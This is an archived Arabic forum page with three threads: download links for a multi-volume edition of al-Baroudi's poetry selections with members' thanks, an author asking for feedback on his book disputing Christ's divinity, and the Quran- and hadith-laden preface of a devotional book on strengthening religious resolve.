عيدية المساهم (2): كتاب مختارات البارودي (لأول مرة) Pdf
ـ[المساهم]ــــــــ[02 - 10 - 08, 08:08 ص]ـ
السلام عليكم ورحمة الله وبركاته
العيدية الثانية
مختارات البارودي
تأليف
محمود سامي البارودي
التحميل
archive (http://www.archive.org/details/Mbarodi) أو adrive (http://www.adrive.com/public/5904c89f67ca004b93d8312f0299c0429c9c6715aa7588d9d5 31da7dbda1f2af.html)
بطاقة الكتاب
العنوان: مختارات البارودي.
المؤلف: محمود سامي البرودي.
تحقيق: مجموعة من الباحثين بإشراف د. محمد مصطفى هدارة.
دار النشر: مؤسسة جائز عبد العزيز سعود البابطين للإبداع الشاعري.
سنة الطبع: الطبعة الأولى (1992م - 1994م).
نوع التغليف: أربعة مجلدات
ـ[سلوم السلوم]ــــــــ[02 - 10 - 08, 08:26 ص]ـ
بارك الله فيك ..
ـ[أبو محمد المرقال]ــــــــ[02 - 10 - 08, 09:32 ص]ـ
السلام عليكم
تقبل الله طاعتكم
جزاك الله خيرا أخي الفاضل وبارك فيك ونفع بك ... وما أجمل وأثمن معايدتك لنا!
ـ[الدكتور مروان]ــــــــ[02 - 10 - 08, 10:48 ص]ـ
أخي الحبيب الغالي (المساهم)
أسهمك الله بنصيب في الجنة
للعلم
فإن رابط الجزء الأول معطوب، ويقف
عند 13,50 ولايكمل التحميل
لو تتكرم بإصلاحه
بارك الله فيك
وجزاك خيرا
وأحسن إليك
وغفر لك ولوالديك
وكلّ عام وأنتم بكلّ خير
ـ[إبراهيم أمين]ــــــــ[02 - 10 - 08, 11:02 ص]ـ
جزاك الله خيرا أخي وبارك فيك ونفع بك
ـ[المساهم]ــــــــ[02 - 10 - 08, 11:26 ص]ـ
للعلم
فإن رابط الجزء الأول معطوب، ويقف
عند 13,50 ولايكمل التحميل
لو تتكرم بإصلاحه
الروابط تعمل وللتو قمت بتنزيله الكتاب بأجزائه من الروابط
ـ[الدكتور مروان]ــــــــ[02 - 10 - 08, 11:49 ص]ـ
أخي الحبيب الغالي الفاضل المفضال (المساهم)
لقد حملت الجميع بسرعة فائقة ... ما عداه (المجلد الأول)!!
والآن حاولت من جديد؛ فتأتيني هذه الرسالة، باللغتين:
(يتعذر على النظام العثور على الملف المحدد)
وفقك الله
ودمت من السالمين
ـ[عبد الحميد الأثري الجزائري]ــــــــ[02 - 10 - 08, 12:17 م]ـ
أما الروابط فهي محجوبة عندنا بالجزائر والله المستعان
فهل من سبيل إلى الرفع على المرفقات؟
ـ[السهيلي]ــــــــ[02 - 10 - 08, 02:43 م]ـ
جزاك الله خيرا .... لكن إن كان ديوان البارودي تكن منة عظيمة، لأنه طبع قديما حتى ندرت نسخه.
ـ[أبو عبدالرحمن عبد القادر]ــــــــ[02 - 10 - 08, 09:40 م]ـ
جزاك الله خيرااااا
ـ[إسماعيل سعد]ــــــــ[03 - 10 - 08, 01:19 ص]ـ
جزاكم الله خيرا
ـ[أسامة طارق]ــــــــ[03 - 10 - 08, 02:04 ص]ـ
جزاكم الله خيراً
ـ[أبو عبدالله بن جفيل العنزي]ــــــــ[03 - 10 - 08, 01:19 م]ـ
بارك الله فيك وأحسن الله إليك
ـ[منير الجزائري]ــــــــ[10 - 10 - 08, 06:01 م]ـ
بارك الله فيك
ـ[عبد الرحمن أبو عبد الله]ــــــــ[11 - 10 - 08, 04:23 م]ـ
جزاك الله خيرا
ـ[د عامر سليمان]ــــــــ[02 - 01 - 09, 11:10 م]ـ
بارك الله فيك، ورحم الله والديك، ودمت موفقاً
ـ[ابوحسن الشرقاوى]ــــــــ[02 - 03 - 09, 04:20 م]ـ
الروابط تعمل وألف شكر أخوانى الكرام(61/354)
الى المخلصين فى حب المسيح
ـ[ابوطلحةالسلفى]ــــــــ[02 - 10 - 08, 03:05 م]ـ
السلام عليكم
هذا الكتاب من تاليفى
تكلمت فيه عن مسالة الوهية المسيح مستخدما نصوص كتاب النصارى لهدم هذه العقيدة باسلوب سهل و بطريقة ارجو ان تكون مقنعة
اريد ان اعرف تعليقاتكم على هذا الكتاب بالنقد او النصيحة
ـ[أبو عبد الله السني]ــــــــ[02 - 10 - 08, 03:30 م]ـ
جزاكم الله خيراً
وكل عام وأنتم بخير
ـ[إسماعيل سعد]ــــــــ[03 - 10 - 08, 01:20 ص]ـ
جزاكم الله خيرا(61/355)
حملوا كتابي الجديد ((الإنسانُ بين علوِّ الهمَّة وهبوطها)) للشاملة 3+ ورد
ـ[علي 56]ــــــــ[02 - 10 - 08, 05:07 م]ـ
((حقوق الطبع لكل مسلم))
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، والصلاة والسلام على سيد الأنبياء والمرسلين، وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فإن الإنسان يعيش بين علو الهمة وهبوطها، فعندما يقوى إيمانه يقبل على طاعة الله تعالى برغبة جامحة، فيكثر من النوافل والقربات، وقد تمرُّ به فترات فتضعف همته وتخور عزيمته، فيقصِّر في أداء الواجبات، وقد يرتكب بعض المحذورات.
وفي القرآن والسنة علاج لضعف الهمة وفتورها، ومن ذلك:
أن الله تعالى أمره بتقواه بقدر استطاعته فقط، قال تعالى: {إِنَّمَا أَمْوَالُكُمْ وَأَوْلَادُكُمْ فِتْنَةٌ وَاللَّهُ عِنْدَهُ أَجْرٌ عَظِيمٌ (15) فَاتَّقُوا اللَّهَ مَا اسْتَطَعْتُمْ وَاسْمَعُوا وَأَطِيعُوا وَأَنْفِقُوا خَيْرًا لِأَنْفُسِكُمْ وَمَنْ يُوقَ شُحَّ نَفْسِهِ فَأُولَئِكَ هُمُ الْمُفْلِحُونَ (16)} [التغابن/15، 16]
ولم يكلفه فوق طاقته، قال تعالى: {لَا يُكَلِّفُ اللَّهُ نَفْسًا إِلَّا وُسْعَهَا لَهَا مَا كَسَبَتْ وَعَلَيْهَا مَا اكْتَسَبَتْ رَبَّنَا لَا تُؤَاخِذْنَا إِنْ نَسِينَا أَوْ أَخْطَأْنَا رَبَّنَا وَلَا تَحْمِلْ عَلَيْنَا إِصْرًا كَمَا حَمَلْتَهُ عَلَى الَّذِينَ مِنْ قَبْلِنَا رَبَّنَا وَلَا تُحَمِّلْنَا مَا لَا طَاقَةَ لَنَا بِهِ وَاعْفُ عَنَّا وَاغْفِرْ لَنَا وَارْحَمْنَا أَنْتَ مَوْلَانَا فَانْصُرْنَا عَلَى الْقَوْمِ الْكَافِرِينَ (286)} [البقرة/286]
ونهانا الرسول - صلى الله عليه وسلم - عن الغلو في الطاعة والعبادة حتى لا نهلك أنفسنا، وتضعف قوانا، فعَنْ بُرَيْدَةَ الْأَسْلَمِيِّ - رَضِيَ اللَّهُ عَنْهُ - قَالَ: خَرَجْتُ ذَاتَ يَوْمٍ لِحَاجَةٍ، وَإِذَا أَنَا بِالنَّبِيِّ - صلى الله عليه وسلم - يَمْشِي بَيْنَ يَدَيَّ، فَأَخَذَ بِيَدِي فَانْطَلَقْنَا نَمْشِي جَمِيعًا، فَإِذَا نَحْنُ بَيْنَ أَيْدِينَا بِرَجُلٍ يُصَلِّي يُكْثِرُ الرُّكُوعَ وَالسُّجُودَ، فَقَالَ النَّبِيُّ - صلى الله عليه وسلم -: " أَتَرَاهُ يُرَائِي؟ " فَقُلْتُ: اللَّهُ وَرَسُولُهُ أَعْلَمُ، فَتَرَكَ يَدَهُ مِنْ يَدِي، ثُمَّ جَمَعَ يَدَيْهِ فَجَعَلَ يُصَوِّبُهُمَا وَيَرْفَعُهُمَا، وَيَقُولُ: " عَلَيْكُمْ هَدْيًا قَاصِدًا، عَلَيْكُمْ هَدْيًا قَاصِدًا، عَلَيْكُمْ هَدْيًا قَاصِدًا، فَإِنَّهُ مَنْ يُشَادَّ هَذَا الدِّينَ يَغْلِبْهُ "المستدرك للحاكم (1176) ومسند أحمد (20317) وهو صحيح
وفي صحيح البخارى (5861) عَنْ عَائِشَةَ - رضى الله عنها - أَنَّ النَّبِىَّ - صلى الله عليه وسلم - كَانَ يَحْتَجِرُ حَصِيرًا بِاللَّيْلِ فَيُصَلِّى، وَيَبْسُطُهُ بِالنَّهَارِ فَيَجْلِسُ عَلَيْهِ، فَجَعَلَ النَّاسُ يَثُوبُونَ إِلَى النَّبِىِّ - صلى الله عليه وسلم - فَيُصَلُّونَ بِصَلاَتِهِ حَتَّى كَثُرُوا فَأَقْبَلَ فَقَالَ «يَا أَيُّهَا النَّاسُ خُذُوا مِنَ الأَعْمَالِ مَا تُطِيقُونَ، فَإِنَّ اللَّهَ لاَ يَمَلُّ حَتَّى تَمَلُّوا، وَإِنَّ أَحَبَّ الأَعْمَالِ إِلَى اللَّهِ مَا دَامَ وَإِنْ قَلَّ».
يحتجر: يتخذه كالحجرة لنفسه دون غيره
ونهاهم الله عن تحريم الطيبات، حيث قال تعالى: {قُلْ مَنْ حَرَّمَ زِينَةَ اللَّهِ الَّتِي أَخْرَجَ لِعِبَادِهِ وَالطَّيِّبَاتِ مِنَ الرِّزْقِ قُلْ هِيَ لِلَّذِينَ آَمَنُوا فِي الْحَيَاةِ الدُّنْيَا خَالِصَةً يَوْمَ الْقِيَامَةِ كَذَلِكَ نُفَصِّلُ الْآَيَاتِ لِقَوْمٍ يَعْلَمُونَ (32)} [الأعراف/32]
(يُتْبَع .. اقلب الصفحة)
(61/356)
وفي صحيح ابن حبان (317) عن أَنَسَ بْنِ مَالِكٍ، قالَ: جَاءَ ثَلاَثَةُ رَهْطٍ إِلَى بُيُوتِ أَزْوَاجِ النَّبِيِّ - صلى الله عليه وسلم -، يَسْأَلُونَ عَنْ عِبَادَةِ النَّبِيِّ - صلى الله عليه وسلم -، فَلَمَّا أُخْبِرُوا كَأَنَّهُمْ تَقَالُّوهَا، فَقَالُوا: وَأَيْنَ نَحْنُ مِنَ النَّبِيِّ - صلى الله عليه وسلم -، قَدْ غُفِرَ لَهُ مَا تَقَدَّمَ مِنْ ذَنْبِهِ وَمَا تَأَخَّرَ؟ قَالَ أَحَدُهُمْ: أَمَّا أَنَا فَإِنِّي أُصَلِّي اللَّيْلَ أَبَدًا، وَقَالَ الآخَرُ: أَنَا أَصُومُ الدَّهْرَ وَلاَ أُفْطِرُ، وَقَالَ الآخَرُ: أَنَا أَعْتَزِلُ النِّسَاءَ وَلاَ أَتَزَوَّجُ أَبَدًا، فَجَاءَ رَسُولُ اللهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ، فقَالَ: أَنْتُمُ الَّذِي قُلْتُمْ كَذَا وَكَذَا؟ أَمَا وَاللَّهِ إِنِّي لَأَخْشَاكُمْ لِلَّهِ، وَأَتْقَاكُمْ لَهُ، لَكِنِّي أَصُومُ وَأُفْطِرُ، وَأُصَلِّي وَأَرْقُدُ، وَأَتَزَوَّجُ النِّسَاءَ، فَمَنْ رَغِبَ عَنْ سُنَّتِي فَلَيْسَ مِنِّي. (صحيح) وهو في الصحيحين بنحوه
وفي صحيح البخارى (1975) عن عَبْدِ اللَّهِ بْنِ عَمْرِو بْنِ الْعَاصِ - رضى الله عنهما - قالَ: قَالَ لِى رَسُولُ اللَّهِ - صلى الله عليه وسلم - «يَا عَبْدَ اللَّهِ أَلَمْ أُخْبَرْ أَنَّكَ تَصُومُ النَّهَارَ وَتَقُومُ اللَّيْلَ». فَقُلْتُ بَلَى يَا رَسُولَ اللَّهِ. قَالَ «فَلاَ تَفْعَلْ، صُمْ وَأَفْطِرْ، وَقُمْ وَنَمْ، فَإِنَّ لِجَسَدِكَ عَلَيْكَ حَقًّا، وَإِنَّ لِعَيْنِكَ عَلَيْكَ حَقًّا، وَإِنَّ لِزَوْجِكَ عَلَيْكَ حَقًّا، وَإِنَّ لِزَوْرِكَ عَلَيْكَ حَقًّا، وَإِنَّ بِحَسْبِكَ أَنْ تَصُومَ كُلَّ شَهْرٍ ثَلاَثَةَ أَيَّامٍ، فَإِنَّ لَكَ بِكُلِّ حَسَنَةٍ عَشْرَ أَمْثَالِهَا، فَإِنَّ ذَلِكَ صِيَامُ الدَّهْرِ كُلِّهِ». فَشَدَّدْتُ، فَشُدِّدَ عَلَىَّ، قُلْتُ يَا رَسُولَ اللَّهِ، إِنِّى أَجِدُ قُوَّةً. قَالَ «فَصُمْ صِيَامَ نَبِىِّ اللَّهِ دَاوُدَ عَلَيْهِ السَّلاَمُ وَلاَ تَزِدْ عَلَيْهِ». قُلْتُ وَمَا كَانَ صِيَامُ نَبِىِّ اللَّهِ دَاوُدَ - عَلَيْهِ السَّلاَمُ - قَالَ «نِصْفَ الدَّهْرِ». فَكَانَ عَبْدُ اللَّهِ يَقُولُ بَعْدَ مَا كَبِرَ يَا لَيْتَنِى قَبِلْتُ رُخْصَةَ النَّبِىِّ - صلى الله عليه وسلم -. الزور: الزائر
ومما يقوي الهمة الطمع بموعود الله تعالى يوم القيامة، قال تعالى: {وَسَارِعُوا إِلَى مَغْفِرَةٍ مِنْ رَبِّكُمْ وَجَنَّةٍ عَرْضُهَا السَّمَوَاتُ وَالْأَرْضُ أُعِدَّتْ لِلْمُتَّقِينَ (133) الَّذِينَ يُنْفِقُونَ فِي السَّرَّاءِ وَالضَّرَّاءِ وَالْكَاظِمِينَ الْغَيْظَ وَالْعَافِينَ عَنِ النَّاسِ وَاللَّهُ يُحِبُّ الْمُحْسِنِينَ (134) وَالَّذِينَ إِذَا فَعَلُوا فَاحِشَةً أَوْ ظَلَمُوا أَنْفُسَهُمْ ذَكَرُوا اللَّهَ فَاسْتَغْفَرُوا لِذُنُوبِهِمْ وَمَنْ يَغْفِرُ الذُّنُوبَ إِلَّا اللَّهُ وَلَمْ يُصِرُّوا عَلَى مَا فَعَلُوا وَهُمْ يَعْلَمُونَ (135) أُولَئِكَ جَزَاؤُهُمْ مَغْفِرَةٌ مِنْ رَبِّهِمْ وَجَنَّاتٌ تَجْرِي مِنْ تَحْتِهَا الْأَنْهَارُ خَالِدِينَ فِيهَا وَنِعْمَ أَجْرُ الْعَامِلِينَ (136)} [آل عمران/133 - 136]
وقوله تعالى: {إِنَّ اللَّهَ اشْتَرَى مِنَ الْمُؤْمِنِينَ أَنْفُسَهُمْ وَأَمْوَالَهُمْ بِأَنَّ لَهُمُ الْجَنَّةَ يُقَاتِلُونَ فِي سَبِيلِ اللَّهِ فَيَقْتُلُونَ وَيُقْتَلُونَ وَعْدًا عَلَيْهِ حَقًّا فِي التَّوْرَاةِ وَالْإِنْجِيلِ وَالْقُرْآَنِ وَمَنْ أَوْفَى بِعَهْدِهِ مِنَ اللَّهِ فَاسْتَبْشِرُوا بِبَيْعِكُمُ الَّذِي بَايَعْتُمْ بِهِ وَذَلِكَ هُوَ الْفَوْزُ الْعَظِيمُ (111) التَّائِبُونَ الْعَابِدُونَ الْحَامِدُونَ السَّائِحُونَ الرَّاكِعُونَ السَّاجِدُونَ الْآَمِرُونَ بِالْمَعْرُوفِ وَالنَّاهُونَ عَنِ الْمُنْكَرِ وَالْحَافِظُونَ لِحُدُودِ اللَّهِ وَبَشِّرِ الْمُؤْمِنِينَ (112) [التوبة/111 - 112]
(يُتْبَع .. اقلب الصفحة)
(61/357)
وفي صحيح مسلم (5024) عَنْ أَنَسِ بْنِ مَالِكٍ قَالَ بَعَثَ رَسُولُ اللَّهِ - صلى الله عليه وسلم - بُسَيْسَةَ عَيْنًا يَنْظُرُ مَا صَنَعَتْ عِيرُ أَبِى سُفْيَانَ فَجَاءَ وَمَا فِى الْبَيْتِ أَحَدٌ غَيْرِى وَغَيْرُ رَسُولِ اللَّهِ - صلى الله عليه وسلم - قَالَ لاَ أَدْرِى مَا اسْتَثْنَى بَعْضَ نِسَائِهِ قَالَ فَحَدَّثَهُ الْحَدِيثَ قَالَ فَخَرَجَ رَسُولُ اللَّهِ - صلى الله عليه وسلم - فَتَكَلَّمَ فَقَالَ «إِنَّ لَنَا طَلِبَةً فَمَنْ كَانَ ظَهْرُهُ حَاضِرًا فَلْيَرْكَبْ مَعَنَا». فَجَعَلَ رِجَالٌ يَسْتَأْذِنُونَهُ فِى ظُهْرَانِهِمْ فِى عُلْوِ الْمَدِينَةِ فَقَالَ «لاَ إِلاَّ مَنْ كَانَ ظَهْرُهُ حَاضِرًا». فَانْطَلَقَ رَسُولُ اللَّهِ - صلى الله عليه وسلم - وَأَصْحَابُهُ حَتَّى سَبَقُوا الْمُشْرِكِينَ إِلَى بَدْرٍ وَجَاءَ الْمُشْرِكُونَ فَقَالَ رَسُولُ اللَّهِ - صلى الله عليه وسلم - «لاَ يُقَدِّمَنَّ أَحَدٌ مِنْكُمْ إِلَى شَىْءٍ حَتَّى أَكُونَ أَنَا دُونَهُ». فَدَنَا الْمُشْرِكُونَ فَقَالَ رَسُولُ اللَّهِ - صلى الله عليه وسلم - «قُومُوا إِلَى جَنَّةٍ عَرْضُهَا السَّمَوَاتُ وَالأَرْضُ». قَالَ يَقُولُ عُمَيْرُ بْنُ الْحُمَامِ الأَنْصَارِىُّ يَا رَسُولَ اللَّهِ جَنَّةٌ عَرْضُهَا السَّمَوَاتُ وَالأَرْضُ قَالَ «نَعَمْ». قَالَ بَخٍ بَخٍ. فَقَالَ رَسُولُ اللَّهِ - صلى الله عليه وسلم - «مَا يَحْمِلُكَ عَلَى قَوْلِكَ بَخٍ بَخٍ». قَالَ لاَ وَاللَّهِ يَا رَسُولَ اللَّهِ إِلاَّ رَجَاءَةَ أَنْ أَكُونَ مِنْ أَهْلِهَا. قَالَ «فَإِنَّكَ مِنْ أَهْلِهَا». فَأَخْرَجَ تَمَرَاتٍ مِنْ قَرْنِهِ فَجَعَلَ يَأْكُلُ مِنْهُنَّ ثُمَّ قَالَ لَئِنْ أَنَا حَيِيتُ حَتَّى آكُلَ تَمَرَاتِى هَذِهِ إِنَّهَا لَحَيَاةٌ طَوِيلَةٌ - قَالَ - فَرَمَى بِمَا كَانَ مَعَهُ مِنَ التَّمْرِ. ثُمَّ قَاتَلَهُمْ حَتَّى قُتِلَ. العين: الجاسوس
وفي المستدرك للحاكم (5405) عَنْ جَابِرٍ، قَالَ: حَمَلَنِي خَالِي جَدُّ بْنُ قَيْسٍ وَمَا أَقْدِرُ أَنْ أَرْمِيَ بِحَجَرٍ فِي السَّبْعِينَ، رَاكِبًا مِنَ الأَنْصَارِ الَّذِينَ وَفَدُوا عَلَى النَّبِيِّ صلى الله عليه وسلم، فَخَرَجَ إِلَيْنَا رَسُولُ اللَّهِ صلى الله عليه وسلم وَمَعَهُ عَمُّهُ الْعَبَّاسُ، فَقَالَ: يَا عَمُّ، خُذْ لِي عَلَى أَخْوَالِكَ، فَقَالَ: يَا مُحَمَّدُ سَلْ لِرَبِّكَ وَلِنَفْسِكَ مَا شِئْتَ، فَقَالَ: أَمَّا الَّذِي أَسْأَلُكُمْ لِنَفْسِي، فَتَمْنَعُونِي مِمَّا تَمْنَعُونَ مِنْهُ أَمْوَالَكُمْ وَأَنْفُسَكُمْ، قَالُوا: فَمَا لَنَا إِذَا فَعَلْنَا ذَلِكَ؟ قَالَ: الْجَنَّةُ " (حديث صحيح)
وفي صحيح البخارى (3244) عَنْ أَبِى هُرَيْرَةَ - رضى الله عنه - قَالَ قَالَ رَسُولُ اللَّهِ - صلى الله عليه وسلم - «قَالَ اللَّهُ أَعْدَدْتُ لِعِبَادِى الصَّالِحِينَ مَا لاَ عَيْنَ رَأَتْ، وَلاَ أُذُنَ سَمِعَتْ، وَلاَ خَطَرَ عَلَى قَلْبِ بَشَرٍ، فَاقْرَءُوا إِنْ شِئْتُمْ (فَلاَ تَعْلَمُ نَفْسٌ مَا أُخْفِىَ لَهُمْ مِنْ قُرَّةِ أَعْيُنٍ).
وفي صحيح ابن حبان - (ج 3 / ص 139) (857) عَنْ أَبِي هُرَيْرَةَ، عَنْ رَسُولِ اللهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ، قَالَ: إِنَّ لِلَّهِ مَلاَئِكَةً فُضُلاً عَنْ كُتَّابِ النَّاسِ، يَطُوفُونَ فِي الطُّرُقِ، يَلْتَمِسُونَ أَهْلَ الذِّكْرِ، فَإِذَا وَجَدُوا قَوْمًا يَذْكُرُونَ اللَّهَ تَنَادَوْا: هَلُمُّوا إِلَى حَاجَتِكُمْ، فَيَحُفُّونَ بِهِمْ بِأَجْنِحَتِهِمْ إِلَى السَّمَاءِ الدُّنْيَا، فَيَسْأَلُهُمْ رَبُّهُمْ وَهُوَ أَعْلَمُ مِنْهُمْ، فَيَقُولُ: مَا يَقُولُ عِبَادِي؟ فَيَقُولُونَ: يُكَبِّرُونَكَ وَيُمَجِّدُونَكَ وَيُسَبِّحُونَكَ وَيَحْمَدُونَكَ، فَيَقُولُ: هَلْ رَأَوْنِي؟ فَيَقُولُونَ: لاَ، فَيَقُولُ: فَكَيْفَ لَوْ رَأَوْنِي؟ فَيَقُولُونَ: لَوْ رَأَوْكَ لَكَانُوا لَكَ أَشَدَّ عِبَادَةً وَأَكْثَرَ تَسْبِيحًا وَتَحْمِيدًا وَتَمْجِيدًا، فَيَقُولُ: وَمَا يَسْأَلُونِي؟ قَالَ: فَيَقُولُونَ: يَسْأَلُونَكَ الْجَنَّةَ، فَيَقُولُ: فَهَلْ رَأَوْهَا؟ فَيَقُولُونَ:
(يُتْبَع .. اقلب الصفحة)
(61/358)
لاَ وَاللَّهِ يَا رَبِّ، فَيَقُولُ: فَكَيْفَ لَوْ رَأَوْهَا؟ فَيَقُولُونَ: لَوْ رَأَوْهَا كَانُوا عَلَيْهَا أَشَدَّ حِرْصًا وَأَشَدَّ طَلَبًا، وَأَعْظَمَ فِيهَا رَغْبَةً، فَيَقُولُ: وَمِمَّ يَتَعَوَّذُونَ؟ فَيَقُولُونَ: مِنَ النَّارِ، فَيَقُولُ: وَهَلْ رَأَوْهَا؟ فَيَقُولُونَ: لاَ وَاللَّهِ يَا رَبِّ، فَيَقُولُ: فَكَيْفَ لَوْ رَأَوْهَا؟ فَيَقُولُونَ: لَوْ رَأَوْهَا لَكَانُوا مِنْهَا أَشَدَّ فِرَارًا، وَأَشَدَّ هَرَبًا، وَأَشَدَّ خَوْفًا، فَيَقُولُ اللَّهُ لِمَلاَئِكَتِهِ: أُشْهِدُكُمْ أَنِّي قَدْ غَفَرْتُ لَهُمْ.، قَالَ: فَقَالَ مَلَكٌ مِنَ الْمَلاَئِكَةِ: إِنَّ فِيهِمْ فُلاَنًا لَيْسَ مِنْهُمْ إِنَّمَا جَاءَ لِحَاجَةٍ، قَالَ: فَهُمُ الْجُلَسَاءُ لاَ يَشْقَى جَلِيسُهُمْ. (وهو في البخاري (6408))
وفي صحيح البخارى (2790) عَنْ أَبِى هُرَيْرَةَ - رضى الله عنه - قَالَ قَالَ رَسُولُ اللَّهِ - صلى الله عليه وسلم - «مَنْ آمَنَ بِاللَّهِ وَبِرَسُولِهِ وَأَقَامَ الصَّلاَةَ وَصَامَ رَمَضَانَ، كَانَ حَقًّا عَلَى اللَّهِ أَنْ يُدْخِلَهُ الْجَنَّةَ جَاهَدَ فِى سَبِيلِ اللَّهِ، أَوْ جَلَسَ فِى أَرْضِهِ الَّتِى وُلِدَ فِيهَا». فَقَالُوا يَا رَسُولَ اللَّهِ أَفَلاَ نُبَشِّرُ النَّاسَ. قَالَ «إِنَّ فِى الْجَنَّةِ مِائَةَ دَرَجَةٍ أَعَدَّهَا اللَّهُ لِلْمُجَاهِدِينَ فِى سَبِيلِ اللَّهِ، مَا بَيْنَ الدَّرَجَتَيْنِ كَمَا بَيْنَ السَّمَاءِ وَالأَرْضِ، فَإِذَا سَأَلْتُمُ اللَّهَ فَاسْأَلُوهُ الْفِرْدَوْسَ، فَإِنَّهُ أَوْسَطُ الْجَنَّةِ وَأَعْلَى الْجَنَّةِ، أُرَاهُ فَوْقَهُ عَرْشُ الرَّحْمَنِ، وَمِنْهُ تَفَجَّرُ أَنْهَارُ الْجَنَّةِ».
قَالَ أَبُو حَاتِمٍ: قَوْلُهُ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ: فَهُوَ أَوْسَطُ الْجَنَّةِ يُرِيدُ بِهِ أَنَّ الْفِرْدَوْسَ فِي وَسَطِ الْجِنَّانِ، فِي الْعَرْضِ، وَقَوْلُهُ وَهُوَ أَعْلَى الْجَنَّةِ يُرِيدُ بِهِ: فِي الاِرْتِفَاعِ.
وبين لهم أنهم لن يستطيعوا الدوام على حال واحدة،ففي صحيح مسلم (7142) عَنْ حَنْظَلَةَ الأُسَيِّدِىِّ قَالَ - وَكَانَ مِنْ كُتَّابِ رَسُولِ اللَّهِ - صلى الله عليه وسلم - قَالَ - لَقِيَنِى أَبُو بَكْرٍ فَقَالَ كَيْفَ أَنْتَ يَا حَنْظَلَةُ قَالَ قُلْتُ نَافَقَ حَنْظَلَةُ قَالَ سُبْحَانَ اللَّهِ مَا تَقُولُ قَالَ قُلْتُ نَكُونُ عِنْدَ رَسُولِ اللَّهِ - صلى الله عليه وسلم - يُذَكِّرُنَا بِالنَّارِ وَالْجَنَّةِ حَتَّى كَأَنَّا رَأْىَ عَيْنٍ فَإِذَا خَرَجْنَا مِنْ عِنْدِ رَسُولِ اللَّهِ - صلى الله عليه وسلم - عَافَسْنَا الأَزْوَاجَ وَالأَوْلاَدَ وَالضَّيْعَاتِ فَنَسِينَا كَثِيرًا قَالَ أَبُو بَكْرٍ فَوَاللَّهِ إِنَّا لَنَلْقَى مِثْلَ هَذَا. فَانْطَلَقْتُ أَنَا وَأَبُو بَكْرٍ حَتَّى دَخَلْنَا عَلَى رَسُولِ اللَّهِ - صلى الله عليه وسلم - قُلْتُ نَافَقَ حَنْظَلَةُ يَا رَسُولَ اللَّهِ. فَقَالَ رَسُولُ اللَّهِ - صلى الله عليه وسلم - «وَمَا ذَاكَ». قُلْتُ يَا رَسُولَ اللَّهِ نَكُونُ عِنْدَكَ تُذَكِّرُنَا بِالنَّارِ وَالْجَنَّةِ حَتَّى كَأَنَّا رَأْىَ عَيْنٍ فَإِذَا خَرَجْنَا مِنْ عِنْدِكَ عَافَسْنَا الأَزْوَاجَ وَالأَوْلاَدَ وَالضَّيْعَاتِ نَسِينَا كَثِيرًا. فَقَالَ رَسُولُ اللَّهِ - صلى الله عليه وسلم - «وَالَّذِى نَفْسِى بِيَدِهِ إِنْ لَوْ تَدُومُونَ عَلَى مَا تَكُونُونَ عِنْدِى وَفِى الذِّكْرِ لَصَافَحَتْكُمُ الْمَلاَئِكَةُ عَلَى فُرُشِكُمْ وَفِى طُرُقِكُمْ وَلَكِنْ يَا حَنْظَلَةُ سَاعَةً وَسَاعَةً». ثَلاَثَ مَرَّاتٍ.
الضيعات: المعايش -عافس: لاعب الأزواج والأولاد وعالج معايشه واشتغل بهم
(يُتْبَع .. اقلب الصفحة)
(61/359)
وقد تنوعت العبادات والقربات إلى الله تعالى، فلنأخذ منها ما استطعنا، ففي صحيح ابن حبان - (ج 2 / ص 96) (373) عن أبي كَثِيرٍ السُّحَيْمِيِّ، عَنْ أَبِيهِ، قَالَ: سَأَلْتُ أَبَا ذَرٍّ، قُلْتُ: دُلَّنِي عَلَى عَمَلٍ إِذَا عَمِلَ الْعَبْدُ بِهِ دَخَلَ الْجَنَّةَ، قَالَ: سَأَلْتُ عَنْ ذَلِكَ رَسُولَ اللهِ - صلى الله عليه وسلم -، فقَالَ: يُؤْمِنُ بِاللَّهِ، قَالَ: فَقُلْتُ: يَا رَسُولَ اللهِ، إِنَّ مَعَ الإِيمَانِ عَمَلاً؟ قَالَ: يَرْضَخُ مِمَّا رَزَقَهُ اللَّهُ قُلْتُ: وَإِنْ كَانَ مُعْدَمًا لاَ شَيْءَ لَهُ؟ قَالَ: يَقُولُ مَعْرُوفًا بِلِسَانِهِ، قَالَ: قُلْتُ: فَإِنْ كَانَ عَيِيًّا لاَ يُبْلِغُ عَنْهُ لِسَانُهُ؟ قَالَ: فَيُعِينُ مَغْلُوبًا قُلْتُ: فَإِنْ كَانَ ضَعِيفًا لاَ قُدْرَةَ لَهُ؟ قَالَ: فَلْيَصْنَعْ لأَخْرَقَ قُلْتُ: وَإِنْ كَانَ أَخْرَقَ؟ قَالَ: فَالْتَفَتَ إِلَيَّ وَقَالَ: مَا تُرِيدُ أَنْ تَدَعَ فِي صَاحِبِكَ شَيْئًا مِنَ الْخَيْرِ، فَلْيَدَعِ النَّاسَ مِنْ أَذَاهُ فَقُلْتُ: يَا رَسُولَ اللهِ، إِنَّ هَذِهِ كَلِمَةُ تَيْسِيرٍ؟ فقَالَ - صلى الله عليه وسلم -: وَالَّذِي نَفْسِي بِيَدِهِ، مَا مِنْ عَبْدٍ يَعْمَلُ بِخَصْلَةٍ مِنْهَا، يُرِيدُ بِهَا مَا عِنْدَ اللهِ، إِلاَّ أَخَذَتْ بِيَدِهِ يَوْمَ الْقِيَامَةِ، حَتَّى تُدْخِلَهُ الْجَنَّةَ. (صحيح)
ومما يقوي الهمة صلاة الجماعة وكثرة تلاوة القرآن وقراءة الحديث النبوي في الترغيب والترهيب، وحضور مجالس العلم والذكر، ومجالسة الأخيار، والنظر في سير الأنبياء والصالحين ....
ومما يضعف الهمة كثرة المعاصي، وترك قراءة القرآن والحديث النبوي، وحضور مجالس الفسق والفجور، والنظر للمحرمات، ومجالسة العصاة .........
وفي هذا الكتاب قد جمعت بحوثاً ومقالاتٍ وخطباً حول هذا الموضوع، لتكون زاداً لنا يقوي همتنا، ويعالج ضعفها
وقد قسمته لبابين:
الباب الأول-الحث على علو الهمة وفوائدها
الباب الثاني-فتور الهمة أسبابه وعلاجه
وكل واحدة منها مشفوعة بمصدرها، وغالبها من موقع الإسلام اليوم، وصيد الفوائد، والمختار الإسلامي، وشبكة نور الإسلام، وموقع المنبر .... وغيرها، وتركتها كما هي ...
قال الشاعر محذرا من الدنيا ومبينا قيمتها:
